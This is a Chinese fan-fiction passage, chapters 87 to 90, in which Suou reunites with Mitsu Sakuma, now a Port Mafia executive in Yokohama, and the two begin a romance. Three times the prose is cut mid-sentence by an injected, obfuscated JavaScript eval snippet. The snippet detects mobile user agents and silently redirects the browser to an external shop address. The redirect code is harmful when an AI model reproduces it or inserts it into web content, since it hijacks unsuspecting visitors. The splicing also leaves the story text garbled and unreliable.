幸福与否,另当别论,但弥津先生绝对有认真过好自己的每一天,哪怕是作为犯罪组织成员的日子。 最终,他也算是“得偿所愿”吧。 在对横滨还不熟悉的时候,就被弥津先生丢进地牢,此刻的他仍然是对周边的地理环境一无所知啊…… 苏枋隼飞根本不急着想办法回自己的住处。 满格电量的手机终于显示了信号,接二连三的未读消息和未接来电像雪花似的飘向手机屏幕,他快速划过一条接一条的消息,转身走向了肉眼能望得到的横滨港口。 那个属于他和弥津先生重逢的地方。 其实那样的重逢……和他的预想还是有很大差别的。 毕竟他的想法里绝对没有目睹弥津先生“暴行”这一条。 可他又能如何是好呢。 既然做出了这样的决定,他就会接受弥津先生的全部。无论是好的地方,还是坏的地方。这是人的两面性,老生常谈的问题。 弥津先生是……一个接受自我命运的人。 沿着人行道,他走向海浪声喧闹的港口。这里今日依旧停着许多货船,以及更接近陆地的小型游艇。游艇有对外开放的租借业务,正随着海波摇晃。 弥津先生这样的人,在对别人举起枪之前,想必早就把自己杀死无数次了。不然,他要如何解释弥津先生身上永远带有的那份像白开水似的平淡呢。 结论就是,弥津先生在横滨过得很好,即便是和犯罪为伍的日子也是如此。 他在栏杆边站定,把方才弥津先生刻在墙上的号码输进手机里。弥津先生要工作……发个文字消息吧。如果弥津先生不想暴露自己的所在,那就让弥津先生知道他住在哪里好了。 又按出一串号码,他低头望着波光粼粼的水面,耐心等对面接通电话。 怪不得弥津先生以前那么喜欢去港口散步。 没过几秒,对面便接起了电话。 “你这么久没消息,我会以为你在横滨出事的。怎么,你不是说有了佐久间先生的消息吗?” 是啊,梅宫哥。 他确实有了弥津先生的消息。 都是对弥津先生的来历有所了解的人,有些话可以不用避讳。 “但是,我该怎么解释呢……弥津先生现在的身份,实在超乎我们的想象。” “先不说别的,你这段时间怎么什么消息都没有。” 他不由得苦笑一声,只说了自己这段时期的经历有点“魔幻”。 正是因为弥津先生如今的身份,他既不能讲述自己在找到弥津先生没几分钟后就失去意识,被关去了黑手党组织的地牢,也不能说夜晚会被软禁在弥津先生的休息室。 “不过我现在很自由哦,在港口吹风呢。” “横滨的港口?” “是的。” “那么,佐久间先生在横滨是什么身份。” 所以说……超乎想象嘛。让他对同样认识弥津先生的人直言说,弥津先生是通缉令被贴在告示栏里的通缉犯吗?不,这种话还是有点太吓人了。 “好奇的话,之后亲自来看看吧。现在,还是当成一个秘密比较好。” 而对不了解弥津先生的人来说,从书店老板到通缉犯的转变,比白日做梦还虚幻。 可他一想到弥津先生此刻与他在同一个城市,以后也不会像那年一样离开他——一个法律上的通缉犯是不会轻易失踪的,他在电话里总是忍不住地语气上扬,心情前所未有的愉快。 虽然不知道弥津先生忙完工作会是什么时候,可他一点都不害怕弥津先生故意不理他。 支持他如此自信的理由是什么,他也说不清楚。 有一种发自内心的感觉,让他如此深信不疑。 弥津先生“允许”他留在横滨,更“允许”他和他“在一起”,还有很多很多没有溢于言表但同样被弥津先生“允许”的事。 他忍不住想盯着眼前这片广阔的海面笑个不停。如果此刻有靠近水面的游鱼,恐怕也会觉得他是个会独自对着水面笑的怪人吧。 横滨这座城市,说来真的奇怪。 明明白日里到处都很正常,作为经济体的发展也好,白天照常工作生活的居民也好,完全看不出是一块适合世界灰暗面的肥沃土壤,有犯罪组织扎根其上。 能孕育出港口黑手党此种庞然大物的城市,似乎生活在割裂的白天和夜晚。 他度过了第一个离开港口黑手党后的夜晚。 躺在下午收拾过的床上,他盯着卧室窗帘中间特意留出的手掌宽的缝隙,心情格外平静地看着窗外的夜空。 其实弥津先生休息室里的床也很好睡的。丝毫没有因为那只是个为方便休息而设立的房间,就丧失该有的舒适度。 被“关押”和“软禁”了一个月,医生说他的身体数据没什么问题,至于心理有没有问题,他们管不着。他很理解。犯罪组织成员有没有心理问题,恐怕同为犯罪组织成员的医生也帮不上忙。 然而那段时间,他要解答的问题有很多,没时间焦虑自己的处境,仅仅将这段日子看作一次时长一个月,推理爱好者身临其境的“推理”经历,就好理解多了。 更何况,还时不时有作为弥津先生的“朋友”和同事的人,出于某种他无法感同身受的理由,站在他面前露出奇怪的笑容。 哪有出现心理问题的可能呢。 就算有,也会在听到弥津先生那番话的瞬间被治好,就像中了精灵的治愈魔法一样。 唯有一点不妙……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16901232|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 脑子里都是弥津先生的事,反倒让他在离开港口黑手党总部之后睡不着了。接近午夜,依旧亢奋。 难道这也是被软禁的后遗症吗。 第二天醒来之后,看着墙壁上洒进来的日光,他仍然不知道昨夜自己是如何入睡的。似乎想着想着,就在不知不觉中被扯入了自己尚未知晓的睡梦。 他又要等待了。 等待弥津先生好像从好几年前就变成他日常生活中的一部分。这次是按天算,还是按周算呢,他还能如此乐观地想。 担心弥津先生收不到第一条消息,之后又挑了一天,把他的地址重发了一遍。 犯罪组织的忙碌……可真是不讲理啊。 好在他已经习惯了等待。 回归了正常生活,和樱他们的聊天时也会提起弥津先生的事,但仅限于“是,我见到他了”这样不会透露任何重要信息的话。 而今天,他再次感叹命运的风居然还在狂吹。 几乎在相同的时间——虽然天色因为季节而改变——和相同的商超门口,他进门的同时,名为中岛敦的人抱着已经结账的东西快步出门。 原来这里是中岛敦固定买面包点心的地方啊。 同样认出他的人瞪大眼睛,抱在怀里的东西从上次的面包换成了各种各样的零食。 愣了足有半分钟,匆忙为其他客人让开门口位置的人神色仓惶地问,“你……没事?” 中岛敦差点以为这个人已经死掉了。 原来佐久间弥津那天的话全是随口胡说的? 什么软禁,全都是假的吗…… “欸,是这样的。被关在港口黑手党的地牢,差不多二十多天。”虽然只是白天。晚上被“关”在其他地方。 什么,居然是真的? “……你怎么离开的。” 逃出来的? 港口黑手党的地牢怎么可能是想来就来想走就走的……他会不清楚吗。 “可能弥津先生突然心软,就放我走了。半个月前就离开了。” 眼前人神色轻松地笑着回答他,但中岛敦认为这不是真正的原因。 “你没有因为他,留在港口黑手党吗。” “当然没有,我没有这种想法。而且,弥津先生也不会同意这种事。” 然而,话题一转。 “弥津先生去找过你吧。” 呃…… 面前的人冲他笑了笑,接着说了下去, “在我的印象里,会伤到弥津先生的人只有你一个呢。你是不是也受伤了?弥津先生动真格的话,的确是很难招架的。” 事情已经过去了。 他回答说。 他是过了许久才发现,那位离开孤儿院时的状态,与其说是“任务失败”后的暴躁,其实更像是被院长先生三言两语气走的。 很难想象吧,以个人名义前去的佐久间弥津,并没有给他们造成任何损失。 只有他和佐久间弥津受的伤算一点为了沟通而付出的代价。 真是个可怕的,恪守自我原则的人。 他的同伴正在远处等他。 匆匆与这个和佐久间弥津关系匪浅的人礼貌分别,他转身走向站在不远处的友人。 “抱歉,久等了,芥川。” 孤儿院的小孩子们拜托他这次一定要买很多点心。 88.在外过夜的干部 苏枋隼飞有在备忘录里记今天的购物清单。长大之后总要一个人生活嘛。虽然他没有当低头族的习惯,但只是看一眼备忘录的话…… 【我忙完了】 新的消息,来自弥津先生的新号码。 如果有什么能让他瞬间落入满载星星棉花糖的幻想世界,只有可能是在不抱太多希望的某日傍晚,看到自己心心念念的人发来这样的消息吧。不想让对方等太久,他立刻回复了消息。 【要一起吃晚饭吗?不过,我现在还在外面】 拖过一辆购物车,他目不转睛地盯着消息界面,视线舍不得离开他等待多日迎来的成果。明明消息时间显示下一条消息是在两分钟内发来的,他却觉得这段时间相当漫长。 【把你现在的位置给我】 他便发去了超市的位置,还有自己的额外的请求。 方便接电话吗?他问。 然而这个问题却始终没有得到弥津先生的回复。如果弥津先生决意忽略什么,他还真是一点办法都没有呢。 让弥津先生直接去他的住处也是不错的想法。但为什么不尽早见面?哪怕只能提前几分钟,也会拥有不一样的快乐。 挑选食材都变得那么犹豫不决,一定全都因为他现在急不可耐的心情吧。 结账前,他不肯放弃地再次拿出手机,看到弥津先生一分钟前发来的新消息,心情顿时平复了许多。 【可以】 然而电话真的接通,他却有些词穷。 “是刚下班吗?” 电话那头的嗓音是熟悉的破碎嘶哑感。 “也不是。刚才,在和同事喝酒。” ……居然是在喝酒吗? 虽然做过手术之后已经过了很久了,但听到弥津先生承认自己喝过酒,还是让人心头一紧。 他记得弥津先生的酒量非常恐怖。 在以前看店的日子里,弥津先生简直是把易拉罐装的啤酒当水喝。即便是在京成街的居酒屋,也摸不透浑身酒气的弥津先生有没有醉。据本人所说,没有醉。但众所周知,醉酒的人都会说自己没醉。 听弥津先生说话的语气还很正常,可谁知道此刻和他无障碍聊天的人刚才喝了多少。 和“同事”的意思是……和那些他也见过的黑手党组织成员吗?弥津先生还是习惯称那些人为“同事”呢。 “喝了多少?” 对面的人陷入不知是思考还是沉默的安静状态里,他只能听到轻微的呼吸声。 他突然固执起来,拉着购物车走近最靠墙的一排货架,站在不会碍着别人的角落。如果听不到弥津先生的回答,他就……再等一下好了。 “我不记得了。” 不记得了……这是喝了多少啊? 他有点后悔刚才没让弥津先生直接到家里等他。 “只喝了酒吗?” “嗯。” 因为其他人在打台球。而他作为半路被强行拉走然而本身又毫无台球技术可言的人,会喝闷酒也就毫不意外了。 佐久间弥津实在没去记公关官随手给他倒了多少次。 他们都没记。 从他的回答来看,他的行为的确非常奇怪。 一下班就喝酒,并且在回家前就“醉”得不记得自己喝了多少。 苏枋是不是想多了?但如果他直言自己没醉,不是有点多此一举,欲盖弥彰吗。 于是,他干脆不去解释。 耳听为虚,眼见为实,只要见到他,苏枋就会知道他绝对没有醉。 不过,他承认,自己身上的酒味会比较浓。 不再继续追问他刚才喝过酒这件事的人向他征询意见,晚餐吃什么。 “其实还有一件事。但等我们见面了再说吧。” 好。他答应了。 身上的酒气盖过了公关官口中的“地牢气味”,现在的他只是出租车司机眼里的普通“酒鬼”,作为乘客的价值是在到达目的地后安全下车离开,不给司机添额外的麻烦。 只有认识他的人才会相信他酒量不错。这还真是让人惋惜的事实。 显然对酒鬼乘客有几分畏惧的司机加快驶离。他望了一眼远处,便收回目光。那么急着离开做什么,他身上难道还有地牢的气味吗。 他来到了一处风平浪静的居民区。至少看上去相当平和。 从他眼前走过的人都和身边的人有说有笑,身上带着即使是最天赋异禀的演员也伪装不出的纯粹与天真。 绝对不是像他一样的危险分子。要论横滨最危险的人,总要从港口黑手党里挑吧。 苏枋发给他的位置就在附近,离苏枋如今的住所也不远。 在显眼到可以作为地标打卡处的商超招牌旁边,他看到了自己半个月没见的人。被他关在地牢的那段日子,居然真的没让苏枋改变什么。也算惊人的忍耐力了。 他没来得及换衣服。看到苏枋的消息,他很快就离开了台球厅,像正常人一样打车出门。他不会因为私事让下班的优返工。所以,身上还是那些混入夜色里就让人无法分辨虚实的黑色衣物。但这样也没关系吧。他的衣服今日既未沾染血腥,又没接触灰尘。 外套而已,待会儿脱掉就好了。 晚餐被他们定为最不考验厨艺的烤肉。不去餐厅,而是在苏枋的住处。只是要辛苦苏枋额外买也许并不在他最初计划里的食材。 他拿过苏枋右手提着的购物袋,回应一句“嗯,打车”。 透明的购物袋里有什么,他看过去一目了然。他上次在家里拿烤肉填肚子还是……几年前,甚至是段发烧的日子。生病之后也有吃烤肉的冲动,难道很奇怪吗。 “我刚才,又遇到他了,弥津先生。” 面对苏枋的直言不讳,他只能轻轻点头。 他知道了。 但他会做什么吗?不会的,他再也不想和那个孤儿院上下任何人事物扯上关系。 但他还是决定要一直讨厌港口黑手党的“医生”。明明他以前是那么…… 他看见苏枋把另一袋东西提在右手,对他伸出左手。 “弥津先生,我可以牵你的手吗。” ……牵手? 他的双手都没摘手套。但现在只有空着的右手能满足苏枋的要求了。 苏枋不介意他还戴着手套,握上他的手,拉着他向着自己的住处走去。他没拒绝,也实在无法拒绝,任凭如今已成长为可靠青年的人牵着他的手,带着他朝前走。 一路上,苏枋对他讲起,在他离开之后,发生在风铃高中和商店街的事,那些听起来离他很远的事。 以后有时间的话,要不要回去看看呢。 苏枋如此问他。 他只能抱歉地给出“恐怕时间来不及”的回答。 现实是真实的,但又比任何文学大师所写的故事都魔幻。同时还不讲逻辑,仿佛是神明靠手动投骰子来决定人类世界下一步即将发生的事。 牵着手从街口走过,正在和同行人聊晚饭的人可能是恶名远扬的犯罪组织 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16905603|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干部;迎着夕阳大笑着奔跑的学生随手丢掉了自己不及格的试卷,试卷飞出了很远的地方,被途径的汽车碾过,留下轮胎印;而抱着一袋各式点心,站在街巷深处,和友人同巡逻警察一同调查案件的人,其实是前黑手党成员。 有人在哭,就有人在笑,有人奔赴死亡,就有新生命降生。许许多多的事同时出现在这个世界上,但每个人只能看得到目光所及的部分。 苏枋的手温热而有力,认真地为他引着方向。 他朝拉着警戒线的巷子深处望了一眼,相当敏锐的二人立刻发现了他的存在。 苏枋牵着他继续向前走,没有在乎发生在巷子里的事故。 也许是没有发现,因为苏枋在问他明天还会不会忙。 他有点想笑,“应该不会忙。” 突然会忙的话,就另当别论。 “你还想问别的吧。” 被看穿心思的人笑着点头。 对啊。 苏枋隼飞是有很多想说的。 但站在家门口开门,他才问,“今天,可以住在这里吗。” 明明他们以前也同住过。 “还有呢。” 还有…… “我们可以像恋人那样接吻吗。”虽然他想要的不仅是“接吻”而已。 关上房门,他们将一切喧嚣隔绝在一门之隔的外面的世界。 弥津先生有说可以吗?有同意吗? 一定有吧,不然他为什么会吻在弥津先生的嘴角。 可惜他还是没敢太过分。 和他拉开一点点距离的人双手灵巧又平稳地解下他的耳坠,那双会出现在他梦里的玫红色的双眼仍然近在咫尺。 虽说弥津先生浑身都是酒气,但目光依旧清醒。 酒量真是难以捉摸。 他没抗拒,反而更期待弥津先生接下来要怎么做。 “你真的决定了吗。” 哎呀,都这种时候了,弥津先生还真是慢性子呢。 他作势要像刚刚一样再度亲吻眼前让他日思夜想的人,却被弥津先生用掌心拦下。 温热的手掌心挡在他面前,见他暂时忍耐住那股冲动,才移到他脑后,很快找到了解开眼罩的方法。 于是他笑着问,“怎么样,弥津先生。” 第一次看到他的右眼吧。 眼前人没有直接回答,而是把摘下来的东西平放在他们身边的茶桌上。 “想让我留在这里?” “嗯。你不是答应我,我想怎么样,就怎么样吗?留下来吧,既然已经忙完‘工作’上的事。” 他哪有答应过这种事,又在随意扭曲他的记忆了。只觉得今天要栽在眼前人手里的黑手党组织干部在心中无奈叹息一声,抬起脱去手套的手,再次抚上青年人的脸颊。 “想怎么做,都随你。” 他不太懂谈恋爱的事,身边也只有一部分步入中年的同事和下级有家庭或者即将有家庭,大部分和他年纪相仿的人都专注于工作——作为黑手党人的工作有时候是很难分心的。他唯一接触过的和爱情相关的东西,只剩不知多久以前公关官丢给他的重映电影名单。里面有几部讲述伟大爱情的经典之作,只要读过国中的人都听说过。他当时对爱情片没兴趣,根本没想看。 这么近距离的观察,身体因为拥抱贴得很近,他发现苏枋确确实实比以前高了,虽然最终还是没有完全超过他……勉强让他有点说不出口的欣慰吧。 “但先让我打个电话。” 89.无厘头的黑手党人 优,今天晚上,我还有事,不回去了。 呃……啊? 镜优不理解。 但他仍然回答说,“好的。” 自家上司没打算解释,通话很快便结束了。 镜优对着浴室的镜子,摘掉了墨镜,日常检查眼睛的状态。虽然状态依旧维持在健康范围内,但离了墨镜恐怕他得疯。关掉其他房间的灯,他把自己关在属于他的房间。 无论他和弥津大人之间的关系如何亲近,但凡他敢暴露一丁点想要插手上司私生活的不良念头,等待他的恐怕不只是被组织解雇那么简单。 毕竟弥津大人身边的位置是他亲手选择的,结果是什么,他早就知道了。 一夜无梦,平安又静谧。 像他这般自由的下级真是稀有。住在上司的家里,开着首领送给上司的车——因为他在兼任弥津大人的司机,上班时间以上司的命令为准。 有人比他更幸运吗。 他早上给弥津大人发消息说,自己可以去接他。然而始终没有回复。好在弥津大人的安危用不着他担心,否则他昨天就应该想办法找人了。 他和上司的办公室只有一墙之隔,但构造和用途有很大不同。他习以为常地打开咖啡机,顺手检查冰格里的冰块是否充足,隔间里的小会议室堆积了许多文件,他通通丢进碎纸机。 做完这些琐碎的事,他在上午九点前收到了新消息。 【我得请假一天】 【如果有别人找我,把小事替我处理掉】 潜台词是,如果有以他的职权不能碰的工作,等干部本人回来再说。 他仰头灌掉最后一口冰咖啡,快速而简短地回复了消息。 【好的】 但说实话,身为干部的弥津大人要向谁请假呢?他们的工作场合并不固定,哪怕是首领恐怕也不在乎弥津大人本人今天在不在总部。 有事却找不到人的时候另当别论。 也就是“人可以不在,但需要的时候必须在”这样的道理吧。 今天的工作安排…… 根本是一片空白啊。在异能特务科传来新消息前,他所做的仅有些日常工作了。 话虽如此,上午是有人来找他。 进门后的第一句话是,“佐久间先生呢?” “请假了。今天不在。” 除非他和弥津大人都在外执行任务,不然,找不到他的上司,组织的其他人都会转头来敲他办公室的门。 在工作事务层面,找他和找弥津大人是一个意思。 “……?” “你在不解什么。” 紫苑刻进了门,反手把门关好。“我第一次听说佐久间先生请假。” 放在平时,自己的上司绝对会存在于总部的某处。地牢,办公室,审讯部,再不济也能去情报部门找人。总有一个地方有佐久间先生的身影。他第一次听干部的副手直接告诉他,佐久间先生请假了。 其实他也是。镜优心想。不仅请了假,昨天晚上还住在他不知道的地方。 看着这个手里提着文件袋走进来的人,他问,“有什么事。” “我带了几份新人的档案。还蛮值得注意的。”是他专门挑出来的,佐久间先生或许会感兴趣。 “新人?” “嗯。都是半年之内加入组织的家伙。” 白色文件袋被抛向办公桌,稍微滑动半米,精准地停在镜优面前。 紫苑刻十分自然地启动了镜优办公室的咖啡机,“有冰块吗。” “你倒是真不客气。” “这有什么,”紫苑刻弯腰从柜子里摸出一袋一次性纸杯,“你难道以为这是我第一次用你办公室的咖啡机吗。”佐久间先生在他面前的话,他可能还会客气点。 “……这些档案有什么不正常的地方。” 没有不正常。“是我认为,比较适合重点培养的人。” 镜优把文件袋摆到一边,没有看的欲望,“等他们能呆满一年再说吧。”更何况,天赋如何优越,新人的培养恐怕也轮不到弥津大人亲自去做。 要从头教起,那得多费劲。 “有方糖吗,白砂糖也行。” “能不能别对我提条件?”如果没有其他事,赶快从他的办公室出去。这是他的办公室,又不是免费的景点。 “我可没说让你出门给我买。”紫苑刻拿过档案袋,火速拆开。就算没有让佐久间先生满意的新人,至少也要看看。咬着纸杯边缘,他口齿不清地说,“地牢快空了。” 同为接受佐久间先生直接命令的下属,但他和镜优说到底还是两种不同的身份。 他正打算把其中一份挑出来,办公室的门却又一次被扣响。 门敲过之后,就被直接拉开。仿佛敲门的动作只是为了提醒屋内的人“我要进去”而已。既然如此,敲门的动作有什么用。 观望着屋内的氛围,枢川伶司站在门口,问出了相同的问题。 “佐久间先生不在吗。” 于是镜优重复了一遍相同的答案。 “他请假了。你有什么事。” 枢川伶司追问道,“为什么,生病了吗。”他知道镜优和佐久间干部住在同一个屋檐下,不过二人仍然只是上下级关系。 是不是生病,镜优不知道。 他甚至连弥津大人昨夜未归的理由都不了解。更重要的是,“距离最渴望的答案只有一张纸那么薄的距离,但不能问。你们能懂这种感觉吗。” 再好奇也不能问。 唉,他就知道,“笨蛋是不会懂的。” 不等他摘掉墨镜,闪着银光的小刀迎面而来,差点削掉他的头发。 刺中墙壁的小刀掉落在地,失去异能的加持,由小刀变回了带着咖啡渍的纸杯。 枪法是工作,冷兵器近战才是生活。紫苑刻回击道,“笨蛋另有其人。” 明明上司和自己住一起,却连上司为什么“请假”都不知道。而且,只需要听命于首领的干部成员要向谁“请假”啊?他们的工作真的有请假一说吗? 同样被镜优以笨蛋之名吐槽的人一改方才转身离开的想法,进到同事的办公室里,平静地呛回去,“只是因为工作需要,佐久间先生才会把他的下落‘告知’你而已。” 有时候人不能太把自己当回事。 “那又如何。难道你们能找得到‘请假’的原因。” 枢川伶司把镜优的话听在耳朵里,这完全是在挑衅他作为情报部门负责人的专业性。但他不想讨论这个,因为他一听便知道这是上司的私生活。 “所以,你到底来做什么。” “没什么。我刚才见过首领。”原本打算顺便和佐久间先生聊一聊最近的事,“但既然佐久间先生不在,之后再说吧。” 于是,今日第二个不客气使用镜优办公室里咖啡机的人出现了。 “喂……” “别太小气。” 坐在沙发上的紫苑刻问,最近有什么事。还有什么他不知道的事? 枢川伶司用掉最后几颗完整的冰块,对这两个有资格知道不完整消息的人简单解释说,“异能特务科的人想找时间见一面。” 但和外部机构沟通,那是其他部门的责任,和他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16910872|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 共同的上级没半点联系。紫苑刻问,“他们想说什么。” “最近,横滨境内发生了几起杀人案。有糖吗。” “……” 看起来是没有。枢川伶司接受了现状。 其实是有的,但镜优的态度极其容易让人怀疑没有。 “……?”枢川伶司看到了紫苑手里的档案,“你从哪翻出来的。”看文件袋上的标志,这些都是该保存在档案室的东西。 “我从档案室拿的。” “……” “莫非你想说,我拿档案给佐久间先生看,也得向你部门的人报备。” 枢川伶司还是那副公事公办的坦然态度,“如果你能提前通知的话,我没有任何意见。” 说回正题,“那几起杀人案……” “不是我们做的。” 紫苑刻的意思是,不是组织的行动部队做的。他最近一直和佐久间先生解决那些故意影响组织贸易路线,还试图把另一位干部扯进阴谋中的家伙。在街头丢弃尸体这种事,他们绝不会做,也不会有这种命令。 “正因为不是我们做的,异能特务科才想见我们的人。时间还没定,但估计在下周,或者半个月后,会和其他事情的调查结果一起对我们公布。” 其他事情,你是指……那个躲在其他组织背后,想要对横滨作恶的组织? 枢川伶司点头,表示镜优说得对。 “不难理解。那就由你之后转告佐久间先生吧。” 三个谈不拢的人差点不欢而散。 让镜优的办公室幸免于难的,是一道正经的敲门声。 不像紫苑刻一样直接推门,也不像枢川伶司一样无用敲门。 来人轻敲三下。 当他们意识到真的有人在很礼貌地敲门,并且等到镜优示意其进来才准备开门时,懒散混乱的氛围一扫而光。 即使不知道门后站着谁,但看起来不像是他们熟悉的人…… 金发碧眼的青年站在门口,瞧了屋内的几人一眼,笑道,“我是误入了你们的战术布置会议吗。” 公关官只觉得佐久间这位副手办公室的气氛有些奇怪。 屋里的三人他都认识。 佐久间的副手,歼灭部队的副指挥官,情报部门的负责人……虽说各自责任不同,可聚在一块无端的好笑。 像共同出演了一场引人发笑的默剧。 镜优站起身,神态异常沉稳地说,“并不是,只是在随意聊天。请问,是来找……” “佐久间居然不在吗。” “是的。弥津大人说今天要请假。” “‘请假’?” 公关官轻声重复了一遍。 “是的。” “为什么呢,他喝酒之后生病了吗。”公关官有点疑惑。他喝太多酒会头疼是正常的,但佐久间不是据说酒量很好吗? 镜优发现他们之间信息似乎不对等。昨天,弥津大人是说过下班后有别的计划…… “是哦,我们去喝酒了。但你们的上司中途离开了。” 镜优的表情太明显,公关官知道佐久间的这位下属一定在隐瞒着什么,但碍于别人在场,不愿意说。 他没久留,也没想从镜优口中问出佐久间“请假”的理由——“佐久间弥津”要请哪门子假?除了中也,理论上组织里没人管得了他,哪天怒气上头对着另一位干部拍桌都没问题。 他看出来了,和佐久间同住一个屋檐下的镜根本解释不了佐久间请假的原因。 因为……昨天丢下一句“突然有了一场约会”就离场的佐久间,恐怕根本没回“家”。 90.为你而来 太过汹涌的爱意实在让人难以招架,但他还是只能选择接纳,不然,这份感情要何处安放呢。 他孤独吗。他觉得自己从不孤独。又或者说,他没必要思考这个问题。偏要问的话,他身边不缺人。不缺真心的朋友,不缺听从命令的下属,也不缺想要成为他的“情人”的白日做梦者。 他什么人都不缺,只是他不想和别人谈情说爱。 他见过换情人极其频繁的家伙,按月算已经够少了。也见过和家人其乐融融的人。 他什么都见过。 物质财富,社会地位,有人想借他的身份来获得自己想要的也无可厚非,毕竟人生自我努力实在是辛苦。对很多想走捷径的人来说,靠别人是他们一定会选的方式。 虽然干的是违法犯罪的活,但他认为自己怎么也算洁身自好。 ……可是怎么变成这样了。 他心里发愁地看着镜子里的自己,把身边想要索吻的人推开。 在最明显的地方留下了别人很难装看不到的痕迹,导致他今天早晨只能“请假”的罪魁祸首无辜地看着他。 “抱歉,弥津先生,下次会注意的。” 除了这些难以启齿的痕迹,他还有点提不起精神,身体酸痛。这一切都是拜被他纵容的人所赐——他承认,是他纵容的,但他没想到会做到这个地步。 因为不想被优担心,他强撑着精神,在这段时间保持清醒,不想被担心,才给优发消息,否则他此刻真该躺在密不透风的密室里,一直休息,直到优想“报警”找他。 组织成员失踪的话,他们会找。但如果干部成员也失踪了,那就麻烦了。 腰被不由分说地搂住,但他实在懒得说些什么来应付苏枋的小动作……随便他吧。 想过几种解决方式,都没办法短时间内把这些痕迹消去,不想被发现这层关系,他今天最好别出门。 他对照着镜子,伸手戳在苏枋额头上。 “知道‘节制’怎么写吗。” 不要以为他什么都不敢做。 虽然不会再干把苏枋关进地牢的事,但别的“惩戒”方法要多少有多少。 “昨天晚上,突然就不知道了。” 他点了点脖子上的痕迹,“看你做的好事。” “嗯,看到了哦。” 无论是指责还是嗔怪,苏枋隼飞尽数收下。 被他刻意作弄出的痕迹,他不仅看到了,还看得很清楚。 没有哪个瞬间比现在更让他留恋了。弥津先生的声音、身体,还有目光和全部的心思,全都在他身边,唾手可得。即使很快,弥津先生就会变回港口黑手党的弥津先生,但至少现在被他抱紧的人是属于他的。这件事,他蓄谋已久。 “有点累……我得去休息一会儿。” “一起吧,弥津先生。” ……绝对不要。 “够了。松手吧。” 被紧搂着的人抓住抱在自己腰间的手,向外轻轻扯,但难以撼动。 这只是因为佐久间弥津除了站立不剩多少力气了。 靠在他背后的人摇了摇头,不愿意松手。 室内的空气中氤氲着成年人的暧昧和浓浓的依恋。但这样下去只会浪费双方的时间……也好,他们此刻都有充足的时间花在寻找理智上。 他的右手覆上苏枋的手背,霎时从手心闪过的几道银白电弧窜上苏枋搂在他腰间的胳膊。可谁知苏枋宁愿忍受胳膊的麻痹和痛楚,在低声痛呼后依旧死死搂着他。 表象而已。拉开发麻的胳膊实在容易得很。 “弥津先生……” “听好了,苏枋。” 他转过身,双手亲昵地抚摸在眼前人的脸颊上,他目不转睛地盯着苏枋的眼睛,包括摘掉眼罩后暴露在他视野中的右眼。方才短暂折磨所带来的疼痛在瞬间动摇了苏枋的理智,此刻灵动的左眼回望着他,让他忽然对自己接下来打算说的话有些迟疑。 他的迟疑却给了苏枋可乘之机。见他毫无来由地陷入沉默,竟然借机吻在他的嘴唇上。 ……他说,够了。苏枋的动作总能让他想起昨夜发生的事。 “是要说什么呢。” 是关于他和组织的事。 既然他和苏枋成为了这样的关系,就到了不得不提的时候了。 “从加入组织后到现在,九年里,我几乎做过你可以想象到的一切罪行。” 发现苏枋想和他接吻,他立马伸手捂住了苏枋的嘴,“认真听我说。听完再做别的。” 虽然满口答应,但再次伸向他腰间的手好像不是这么说的……他真该狠心在半夜离开。 “好的,我会认真听的。” 然而他现在能狠心做出的事,只有用最后的力气去捏苏枋的脸了。 “我所在的港口黑手党不是小打小闹的组织,存在时间超过十年。” 他们插手经济、政治,贩卖枪支、□□、特种设备等等,经营各类非法贸易。在前任首领的转圜下,组织取得了异能开业许可证,如今也拥有和异能特务科谈判的资格。他不记得自己这些年杀掉多少人。其实也不记得悬赏令最后的准确数字。他树敌无数,只是在利用恐惧压制潜在的敌人,为了组织的利益,他可以把性命推上赌桌。 抢在苏枋决定说什么前,他再次夺过话头,“我不想你遇到危险。我们的关系注定只能存在于暗处。” 你为什么愿意把你的人生抵押给我这样的罪犯。 佐久间弥津真希望自己昨天醉得彻底,醉得不省人事,这样就不会在接吻时想起昨天夜里发生在卧室那张床上的事。如果那也算表决心的方式,那么,他的确把苏枋的决心彻底体会了一遍。 就是有点费人……他的意思是,有点费他。 可偏偏他的酒量好得让首领嫉妒,他什么都没忘。 工作中锻炼出的记忆力也足够他想起自己昨晚答应的每一个……现在回想起来只觉得荒谬的事。 “弥津先生,我不是为了别的附加物而来的。” 你的身份、能力、财富,都是你的附加物。 “我只是为了你而来的。” 唉……就是因为苏枋总是这样,他才能容许那一切发生在他们之间。 真的不会后悔吗。他问。 “不会的。” 最后还有一件事。 佐久间弥津不能对任何无关人等解释组织的机密,但他必须让苏枋明白。 “你见过的中也先生,是我的上司,我的首领。在港口黑手 